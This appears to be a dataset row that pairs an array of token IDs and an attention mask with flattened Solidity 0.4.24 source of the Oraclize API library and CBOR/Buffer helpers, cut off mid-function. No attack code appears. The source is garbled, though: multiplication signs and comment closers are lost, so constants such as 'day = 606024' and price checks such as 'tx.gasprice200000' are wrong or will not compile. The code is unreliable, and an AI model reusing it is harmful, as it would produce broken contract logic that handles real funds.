1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4942, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 4942, 6494, 7542, 2058, 12314, 1000, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1011, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity 0.4.24; // <ORACLIZE_API> /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. / // This api is currently targeted at 0.4.18, please import oraclizeAPI_pre0.4.sol or oraclizeAPI_0.4 where necessary //pragma solidity >=0.4.18;// Incompatible compiler version... please select one stated within pragma solidity or use different oraclizeAPI version contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } / Begin solidity-cborutils https://github.com/smartcontractkit/solidity-cborutils MIT License Copyright (c) 2018 SmartContract ChainLink, Ltd. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. / library Buffer { struct buffer { bytes buf; uint capacity; } function init(buffer memory buf, uint _capacity) internal pure { uint capacity = _capacity; if(capacity % 32 != 0) capacity += 32 - (capacity % 32); // Allocate space for the buffer data buf.capacity = capacity; assembly { let ptr := mload(0x40) mstore(buf, ptr) mstore(ptr, 0) mstore(0x40, add(ptr, capacity)) } } function resize(buffer memory buf, uint capacity) private pure { bytes memory oldbuf = buf.buf; init(buf, capacity); append(buf, oldbuf); } function max(uint a, uint b) private pure returns(uint) { if(a > b) { return a; } return b; } /* * @dev Appends a byte array to the end of the buffer. Resizes if doing so * would exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. / function append(buffer memory buf, bytes data) internal pure returns(buffer memory) { if(data.length + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, data.length) 2); } uint dest; uint src; uint len = data.length; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Start address = buffer address + buffer length + sizeof(buffer length) dest := add(add(bufptr, buflen), 32) // Update buffer length mstore(bufptr, add(buflen, mload(data))) src := add(data, 32) } // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } return buf; } / * @dev Appends a byte to the end of the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. / function append(buffer memory buf, uint8 data) internal pure { if(buf.buf.length + 1 > buf.capacity) { resize(buf, buf.capacity 2); } assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + buffer length + sizeof(buffer length) let dest := add(add(bufptr, buflen), 32) mstore8(dest, data) // Update buffer length mstore(bufptr, add(buflen, 1)) } } /** * @dev Appends a byte to the end of the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. / function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) { if(len + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, len) 2); } uint mask = 256 ** len - 1; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + buffer length + sizeof(buffer length) + len let dest := add(add(bufptr, buflen), len) mstore(dest, or(and(mload(dest), not(mask)), data)) // Update buffer length mstore(bufptr, add(buflen, len)) } return buf; } } library CBOR { using Buffer for Buffer.buffer; uint8 private constant MAJOR_TYPE_INT = 0; uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1; uint8 private constant MAJOR_TYPE_BYTES = 2; uint8 private constant MAJOR_TYPE_STRING = 3; uint8 private constant MAJOR_TYPE_ARRAY = 4; uint8 private constant MAJOR_TYPE_MAP = 5; uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7; function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure { if(value <= 23) { buf.append(uint8((major << 5) \| value)); } else if(value <= 0xFF) { buf.append(uint8((major << 5) \| 24)); buf.appendInt(value, 1); } else if(value <= 0xFFFF) { buf.append(uint8((major << 5) \| 25)); buf.appendInt(value, 2); } else if(value <= 0xFFFFFFFF) { buf.append(uint8((major << 5) \| 26)); buf.appendInt(value, 4); } else if(value <= 0xFFFFFFFFFFFFFFFF) { buf.append(uint8((major << 5) \| 27)); buf.appendInt(value, 8); } } function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure { buf.append(uint8((major << 5) \| 31)); } function encodeUInt(Buffer.buffer memory buf, uint value) internal pure { encodeType(buf, MAJOR_TYPE_INT, value); } function encodeInt(Buffer.buffer memory buf, int value) internal pure { if(value >= 0) { encodeType(buf, MAJOR_TYPE_INT, uint(value)); } else { encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value)); } } function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure { encodeType(buf, MAJOR_TYPE_BYTES, value.length); buf.append(value); } function encodeString(Buffer.buffer memory buf, string value) internal pure { encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length); buf.append(bytes(value)); } function startArray(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY); } function startMap(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP); } function endSequence(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE); } } /* End solidity-cborutils / contract usingOraclize { uint constant day = 606024; uint constant week = 6060247; uint constant month = 60602430; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Ledger = 0x30; byte constant proofType_Android = 0x40; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)\|\|(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ return oraclize_setNetwork(); networkID; // silence the warning and remain backwards compatible } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public pure { return; myid; result; proof; // Silence compiler warnings } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gaspricegaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gaspricegaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gaspricegaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gaspricegaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gaspricegaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gaspricegaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gaspricegaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gaspricegaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint 